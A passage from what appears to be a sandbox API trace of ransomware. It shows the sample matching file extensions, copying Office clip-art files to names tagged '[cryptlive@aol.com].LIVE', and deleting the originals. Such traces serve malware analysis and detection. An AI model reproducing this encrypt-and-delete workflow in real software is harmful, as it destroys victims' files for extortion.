lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString=".xls") returned 4 [0141.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.363] lstrlenW (lpString=".xlsx") returned 5 [0141.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.363] lstrlenW (lpString=".ppt") returned 4 [0141.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString=".zip") returned 4 [0141.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.363] lstrlenW (lpString=".rar") returned 4 [0141.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString=".bz2") returned 4 [0141.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString=".7z") returned 3 [0141.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString=".dbf") returned 4 [0141.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString=".1cd") returned 4 [0141.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString=".jpg") returned 4 [0141.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.364] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.364] lstrlenW (lpString="DD01151_.WMF") returned 12 [0141.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.364] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2960) returned 1 [0141.364] CloseHandle (hObject=0x3ac) returned 1 [0141.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0141.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.365] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.365] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.365] GetLastError () returned 0x0 [0141.365] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xb90, lpOverlapped=0x0) returned 1 [0141.405] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0141.406] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.406] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.406] SetEndOfFile (hFile=0x388) returned 1 [0141.406] CloseHandle (hObject=0x388) returned 1 [0141.407] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.407] SetEndOfFile (hFile=0x3ac) returned 1 [0141.409] CloseHandle (hObject=0x3ac) returned 1 [0141.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0141.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.458] lstrlenW (lpString=".doc") returned 4 [0141.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.458] lstrlenW (lpString=".docx") returned 5 [0141.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.458] lstrlenW (lpString=".pdf") returned 4 [0141.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.458] lstrlenW (lpString=".xls") returned 4 [0141.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.458] lstrlenW (lpString=".xlsx") returned 5 [0141.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.459] lstrlenW (lpString=".ppt") returned 4 [0141.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".zip") returned 4 [0141.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.459] lstrlenW (lpString=".rar") returned 4 [0141.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString=".bz2") returned 4 [0141.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString=".7z") returned 3 [0141.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".dbf") returned 4 [0141.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".1cd") returned 4 [0141.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".jpg") returned 4 [0141.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".doc") returned 4 [0141.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString=".docx") returned 5 [0141.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.459] lstrlenW (lpString=".pdf") returned 4 [0141.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString=".xls") returned 4 [0141.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.459] lstrlenW (lpString=".xlsx") returned 5 [0141.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.459] lstrlenW (lpString=".ppt") returned 4 [0141.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.459] lstrlenW (lpString=".zip") returned 4 [0141.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.460] lstrlenW (lpString=".rar") returned 4 [0141.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.460] lstrlenW (lpString=".bz2") returned 4 [0141.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.460] lstrlenW (lpString=".7z") returned 3 [0141.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.460] lstrlenW (lpString=".dbf") returned 4 [0141.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.460] lstrlenW (lpString=".1cd") returned 4 [0141.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0141.460] lstrlenW (lpString=".jpg") returned 4 [0141.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.460] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.460] lstrlenW (lpString="DD01167_.WMF") returned 12 [0141.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.472] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2080) returned 1 [0141.472] CloseHandle (hObject=0x3a4) returned 1 [0141.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0141.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.473] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.473] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.473] GetLastError () returned 0x0 [0141.473] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x820, lpOverlapped=0x0) returned 1 [0141.514] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x830, lpOverlapped=0x0) returned 1 [0141.515] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.515] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.515] SetEndOfFile (hFile=0x3b4) returned 1 [0141.515] CloseHandle (hObject=0x3b4) returned 1 [0141.515] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.515] SetEndOfFile (hFile=0x3a4) returned 1 [0141.735] CloseHandle (hObject=0x3a4) returned 1 [0141.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.736] lstrlenW (lpString=".doc") returned 4 [0141.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".docx") returned 5 [0141.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.737] lstrlenW (lpString=".pdf") returned 4 [0141.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".xls") returned 4 [0141.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.737] lstrlenW (lpString=".xlsx") returned 5 [0141.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.737] lstrlenW (lpString=".ppt") returned 4 [0141.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString=".zip") returned 4 [0141.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.737] lstrlenW (lpString=".rar") returned 4 [0141.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".bz2") returned 4 [0141.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".7z") returned 3 [0141.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString=".dbf") returned 4 [0141.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString=".1cd") returned 4 [0141.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString=".jpg") returned 4 [0141.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.737] lstrlenW (lpString=".doc") returned 4 [0141.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.737] lstrlenW (lpString=".docx") returned 5 [0141.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.737] lstrlenW (lpString=".pdf") returned 4 [0141.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString=".xls") returned 4 [0141.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.738] lstrlenW (lpString=".xlsx") returned 5 [0141.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.738] lstrlenW (lpString=".ppt") returned 4 [0141.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.738] lstrlenW (lpString=".zip") returned 4 [0141.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.738] lstrlenW (lpString=".rar") returned 4 [0141.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString=".bz2") returned 4 [0141.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString=".7z") returned 3 [0141.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.738] lstrlenW (lpString=".dbf") returned 4 [0141.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.738] lstrlenW (lpString=".1cd") returned 4 [0141.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0141.738] lstrlenW (lpString=".jpg") returned 4 [0141.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.738] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.738] lstrlenW (lpString="DD01182_.WMF") returned 12 [0141.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.045] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2996) returned 1 [0142.045] CloseHandle (hObject=0x3a8) returned 1 [0142.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0142.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.045] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.045] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.046] GetLastError () returned 0x0 [0142.046] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xbb4, lpOverlapped=0x0) returned 1 [0142.047] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0142.048] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.048] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.049] SetEndOfFile (hFile=0x39c) returned 1 [0142.049] CloseHandle (hObject=0x39c) returned 1 [0142.049] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.049] SetEndOfFile (hFile=0x3a8) returned 1 [0142.051] CloseHandle (hObject=0x3a8) returned 1 [0142.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.052] lstrlenW (lpString=".doc") returned 4 [0142.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".docx") returned 5 [0142.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.052] lstrlenW (lpString=".pdf") returned 4 [0142.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".xls") returned 4 [0142.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.052] lstrlenW (lpString=".xlsx") returned 5 [0142.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.052] lstrlenW (lpString=".ppt") returned 4 [0142.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.052] lstrlenW (lpString=".zip") returned 4 [0142.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.052] lstrlenW (lpString=".rar") returned 4 [0142.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".bz2") returned 4 [0142.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.052] lstrlenW (lpString=".7z") returned 3 [0142.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.052] lstrlenW (lpString=".dbf") returned 4 [0142.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".1cd") returned 4 [0142.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".jpg") returned 4 [0142.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".doc") returned 4 [0142.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".docx") returned 5 [0142.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.053] lstrlenW (lpString=".pdf") returned 4 [0142.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".xls") returned 4 [0142.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.053] lstrlenW (lpString=".xlsx") returned 5 [0142.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.053] lstrlenW (lpString=".ppt") returned 4 [0142.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".zip") returned 4 [0142.053] lstrcmpiW 